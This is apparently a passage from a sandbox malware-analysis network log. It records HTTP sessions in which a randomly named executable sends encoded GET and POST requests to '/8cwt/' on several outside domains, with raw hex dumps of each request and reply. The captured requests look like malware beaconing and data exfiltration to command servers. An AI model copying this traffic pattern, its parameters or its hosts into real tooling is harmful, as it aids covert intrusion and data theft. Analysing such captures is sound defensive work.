24eluX=EKau/zgUOpakHWsm2U1U2S33a8ix2461S+XDr9uFJ9V5JKEZqHuKmQ+NSx2XuJsDBUTkTHkWPx7CXJxvmsM1IUfJNwgJs45X/DPQVcue7GCmBold8zgAV/wsZWVnYPAfyXo0HIfgCAOYRbjJlUPo/3vqEuUOfXQ2UCuIha4XzQsGsyqb53USxZ3CiaYnT4qOVZ0RJMO0PiCC66YHopMg+mqf95dwkBPYSSlYoFHqjxi/cum6HOdyUzJU+wM8ZjtGOU1EIJNovJ+Nk9GrSfKPwWEv2D9xgHzIyvsZ641Wzej0Y4Ja9hAKvLtNoMT/0h/jFhGQDMmtqWYp7tOGSsgNqjqzVnIo7UZ0pMd3p1EegywZMO62IQA4liKjnJIHI4fEy8nw+QN9xQ9KkY6cDIQAMoGYvVyRvTQZgsn57ob3OTEa4+tUtCjXazxpmVmp4jIM2/O6oZAw5OvdC7BTwJIrJV+iwubZucmUyWH9wFKUSWyIqcNWtqsIs2yvQp6aPbJStaYsI62uPdqrqQylt6FXOtCFXfgG6V2VnrtgyTjaSnUS0HJbRzQ5+EoHvFReCKEOvTiKShTZwRnP7sN+CjGhp43TetyMi1NTvxWC2+Xsl+N2fbPZuWRYgjBJ09GtTVz9Vnfn2k4uTMOk2pyPzNgy+2OZStUflVEaU/yhVsXqNMU9y3mkBe65VUOVvl3U/Ares3bnXjrWb/IoFPfuUkC6kdW43+3Eblhl+vaBIOthN0B8EZ27jrEhG+qtSFOnWh0o28YUR3nzIgb8ExEckifQzjmrcOP5r35Iud5BqNO+B4B5gPyzPGeM+7Fnju4Ka1bX38tlf29q6zrHMVroLGAHJo9IRR+tp9XVoWbcuYqQI6cvyYd53yGN0jcQtOiFkTa480wTSmMKYp9cZKzHhB2uEzWmKYAjMckCL3MS+hNwArE1kht4mTxJKNGHubFgK5y1Xp2s97yR6IM5eXK7vlCc6ZBpHI7bDJxYY2/xvN+vkMVs2 [TRUNCATED]
Jun 4, 2024 14:19:57.778769016 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.30	49892	91.195.240.123	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:00.301908016 CEST	423	OUT	GET /8cwt/?24eluX=JIyO8Gc0ZaCUBC4gwloHiifCYtv01LSxCuL3sMDgSuZIErE9iBbFukGcMyuYgIJjP33nSDseYz7bP5VCvKNEdyHwbE4qu9h+y1aodMHm9WSOLrl68ngvcME=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.cd14j.us Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:20:00.527378082 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.30	49893	192.3.27.169	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:08.740225077 CEST	431	OUT	GET /8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.respirelavie.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:20:09.059978008 CEST	401	IN	HTTP/1.1 400 Bad Request Date: Tue, 04 Jun 2024 12:20:07 GMT Server: X-Frame-Options: SAMEORIGIN Content-Length: 150 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.11.30	49894	173.232.18.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:14.228513002 CEST	704	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 47 69 6b 73 79 76 39 4b 43 41 51 54 66 61 54 58 34 57 4a 4b 4d 42 68 64 47 4c 57 7a 48 37 54 61 46 4c 32 4b 33 38 55 4b 4b 45 33 53 45 37 49 44 58 76 31 79 6d 44 50 57 69 68 68 77 4b 2f 53 47 75 6d 63 67 6e 50 63 65 68 4a 56 71 6a 4b 4a 66 6c 76 43 64 36 6b 53 7a 31 78 30 35 49 59 76 53 62 4a 6c 33 4c 6b 42 33 5a 65 78 34 68 6a 2f 75 61 46 65 76 5a 36 36 52 47 77 58 58 4e 39 4f 53 42 56 62 6e 50 33 31 6e 47 73 72 63 42 67 66 37 6a 2f 57 46 59 2f 77 62 77 4c 5a 30 68 36 4f 37 30 58 59 69 64 57 4f 71 73 51 56 47 4e 78 4d 6b 6a 4e 56 44 46 41 3d 3d Data Ascii: 24eluX=HCML38UUrPa9Giksyv9KCAQTfaTX4WJKMBhdGLWzH7TaFL2K38UKKE3SE7IDXv1ymDPWihhwK/SGumcgnPcehJVqjKJflvCd6kSz1x05IYvSbJl3LkB3Zex4hj/uaFevZ66RGwXXN9OSBVbnP31nGsrcBgf7j/WFY/wbwLZ0h6O70XYidWOqsQVGNxMkjNVDFA==
Jun 4, 2024 14:20:14.395673037 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:19:37 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.11.30	49895	173.232.18.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:16.913436890 CEST	724	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 41 43 55 73 30 4f 39 4b 56 77 51 63 51 36 54 58 6a 47 4a 4f 4d 42 64 64 47 4a 36 5a 45 49 6e 61 46 75 4b 4b 32 39 55 4b 5a 30 33 53 4b 62 49 43 54 76 31 39 6d 44 44 65 69 6b 5a 77 4b 2f 47 47 75 6d 4d 67 6e 34 6f 5a 67 5a 56 6f 6f 71 4a 64 72 50 43 64 36 6b 53 7a 31 78 77 48 49 63 44 53 62 5a 56 33 4c 47 35 32 48 4f 78 6e 67 6a 2f 75 4c 56 65 72 5a 36 36 76 47 30 58 39 4e 34 4b 53 42 56 72 6e 4d 6a 68 6b 50 73 72 61 4f 41 65 52 75 2b 7a 4e 65 66 41 39 37 39 42 59 6b 6f 36 78 31 41 70 34 41 56 36 6f 2f 77 70 72 52 77 68 4d 68 50 55 59 59 45 4f 33 53 76 74 77 41 48 2f 69 6a 2f 33 6c 34 4d 42 64 35 73 51 3d Data Ascii: 24eluX=HCML38UUrPa9ACUs0O9KVwQcQ6TXjGJOMBddGJ6ZEInaFuKK29UKZ03SKbICTv19mDDeikZwK/GGumMgn4oZgZVooqJdrPCd6kSz1xwHIcDSbZV3LG52HOxngj/uLVerZ66vG0X9N4KSBVrnMjhkPsraOAeRu+zNefA979BYko6x1Ap4AV6o/wprRwhMhPUYYEO3SvtwAH/ij/3l4MBd5sQ=
Jun 4, 2024 14:20:17.079696894 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:19:39 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.11.30	49896	173.232.18.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:19.598864079 CEST	1641	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 41 43 55 73 30 4f 39 4b 56 77 51 63 51 36 54 58 6a 47 4a 4f 4d 42 64 64 47 4a 36 5a 45 49 2f 61 47 59 2b 4b 32 61 41 4b 61 30 33 53 56 72 49 66 54 76 31 61 6d 44 62 61 69 6b 45 50 4b 39 2b 47 38 31 30 67 76 74 45 5a 70 5a 56 6f 6e 4b 4a 41 6c 76 43 49 36 6b 69 33 31 78 67 48 49 63 44 53 62 66 5a 33 66 45 42 32 41 2b 78 34 68 6a 2f 79 61 46 65 54 5a 36 79 5a 47 30 44 48 59 63 2b 53 42 78 50 6e 4e 51 5a 6b 41 73 72 59 4e 41 65 4a 75 2b 50 43 65 66 63 35 37 34 39 79 6b 76 57 78 31 47 38 2f 62 6d 53 43 38 67 39 51 53 51 70 6e 6e 50 41 6d 65 32 2b 41 61 66 31 39 41 7a 76 66 75 59 2f 62 6b 65 5a 6e 71 49 4d 6e 33 78 57 74 73 63 35 45 72 76 31 39 68 73 4a 56 48 58 46 62 77 75 48 7a 7a 64 71 70 57 34 79 55 4a 32 38 42 6a 69 33 2b 30 67 72 43 70 6f 77 72 34 33 64 64 6f 72 74 4a 54 68 6c 58 73 4b 51 69 53 77 69 6d 32 35 62 59 4c 71 4e 38 70 46 76 36 59 71 4d 44 49 5a 45 62 63 6e 66 54 4e 56 4d 49 6a 57 65 37 76 56 64 51 62 2f 63 6f 76 42 72 55 33 65 6a [TRUNCATED] Data Ascii: 24eluX=HCML38UUrPa9ACUs0O9KVwQcQ6TXjGJOMBddGJ6ZEI/aGY+K2aAKa03SVrIfTv1amDbaikEPK9+G810gvtEZpZVonKJAlvCI6ki31xgHIcDSbfZ3fEB2A+x4hj/yaFeTZ6yZG0DHYc+SBxPnNQZkAsrYNAeJu+PCefc5749ykvWx1G8/bmSC8g9QSQpnnPAme2+Aaf19AzvfuY/bkeZnqIMn3xWtsc5Erv19hsJVHXFbwuHzzdqpW4yUJ28Bji3+0grCpowr43ddortJThlXsKQiSwim25bYLqN8pFv6YqMDIZEbcnfTNVMIjWe7vVdQb/covBrU3ejCI1OntHlFUU9mT3XIhc1Q+51UH2IJ3wWI1QXTulSNuyxnHWwz9kXFq2VS19hVkzhEqYX3enFpTMsQtddZrsT2+wnYMyZSs8Gr0mom5Cnd3VihMPeuh6bWW3E27Fk50DZMisp9jeGZx/kD3npdM/BI21nzONWTS+/56jWe2/ZRejTNRh4eoxlqt5zPCsth1fKqGABDAYGovtnPA8vj7XzY1xIeN6Ys/Y6pAwhP/EoZmL6VFzB24tCHcOUEU0XHiLoM8UrB8mA2pYXyFJqTlDYkCTDgHSfzxfELyJ3FMmMkUJ6RaEA6SsV7N7myXW0KIyrYsR/NeHed0Ee4+vanshyCMpIM/z6/0+vPJAPOYQPNFN9GmN7qfsxW+3qD96rX6gu0XDULh6Yew4IqIEeJAXmCvRLSOYLrzuJd5ux12kEtYRIenBsRjTN44hC+zftBW5Dx4T9YyVtNWYL9VJu5wC/Ouequ80u7qvt66lGxUsYaMzEhtGcLjaA+IVaPb5zEKkOAiSeNiWKNdxvSMtgmoN6kArrMQFMMhlWpU5EDj4SGteZOS2KgvpNcS/wgdp+Vrcv2bpi4Ui4xYuvHzzF8A5cHyR9eqlVUAKL61lI7L/yECxdHWDARkahIKZPFsmWgzanM2xkY/3pIvyXQhKmz0+d1pFfgDsKOd0399 [TRUNCATED]
Jun 4, 2024 14:20:19.765036106 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:19:42 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.11.30	49897	173.232.18.161	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:22.285574913 CEST	433	OUT	GET /8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:20:22.451523066 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:19:45 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Data Raw: 34 38 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 27 e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 27 3e e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 3c 2f 61 3e 3c 2f 68 31 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e [TRUNCATED] Data Ascii: 48c<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title></title><script src="/jquery.min.js" ></script></head><body><h1><a href="/" title=''></a></h1><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache Server at www.meas-elec.com Port 80</address><div style="clear:both;padding:10px;text-align:center;margin:5"><a href="/airportsurvery.com.xml" target="_blank">XML </a> \| <a href="/airportsurvery.com.html" target="_blank">Sitemap </a></div><script> (function(){var bp = document.createElement('script');var curProtocol = window.location.protocol.split(':')[0];if (curProtocol === 'https') {bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';}else{bp.src = ' [TRUNCATED]
Jun 4, 2024 14:20:22.451534986 CEST	93	IN	Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 20 7d 29 28 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 Data Ascii: yTagName("script")[0];s.parentNode.insertBefore(bp, s); })(); </script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.11.30	49898	203.161.49.193	80

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:20:27.630053997 CEST	692	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 44 66 37 65 31 6f 5a 42 69 42 78 71 63 4a 7a 63 7a 73 54 39 37 75 43 39 41 52 35 75 67 4c 63 6e 4f 4f 75 71 71 75 76 7a 71 56 62 62 72 57 30 6f 30 4e 76 49 65 30 32 35 6e 78 39 45 6a 44 62 73 77 72 54 73 2b 2b 51 49 48 50 49 69 44 4b 66 49 39 37 49 2f 30 34 4b 73 6a 41 4d 55 4e 35 47 64 4c 63 6f 75 72 46 33 57 65 4b 43 36 77 36 59 6b 2f 43 77 76 6e 66 34 64 59 72 30 58 64 35 70 76 6a 4c 53 2f 4a 74 77 2b 49 4e 48 41 74 39 34 55 46 52 6b 7a 56 42 5a 50 6e 6b 49 66 34 66 46 49 59 76 33 47 34 6e 63 6f 43 70 57 30 67 78 4b 58 33 43 51 30 6b 41 3d 3d Data Ascii: 24eluX=fQBmmYz6qvK+Df7e1oZBiBxqcJzczsT97uC9AR5ugLcnOOuqquvzqVbbrW0o0NvIe025nx9EjDbswrTs++QIHPIiDKfI97I/04KsjAMUN5GdLcourF3WeKC6w6Yk/Cwvnf4dYr0Xd5pvjLS/Jtw+INHAt94UFRkzVBZPnkIf4fFIYv3G4ncoCpW0gxKX3CQ0kA==
Jun 4, 2024 14:20:27.806950092 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:20:27 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 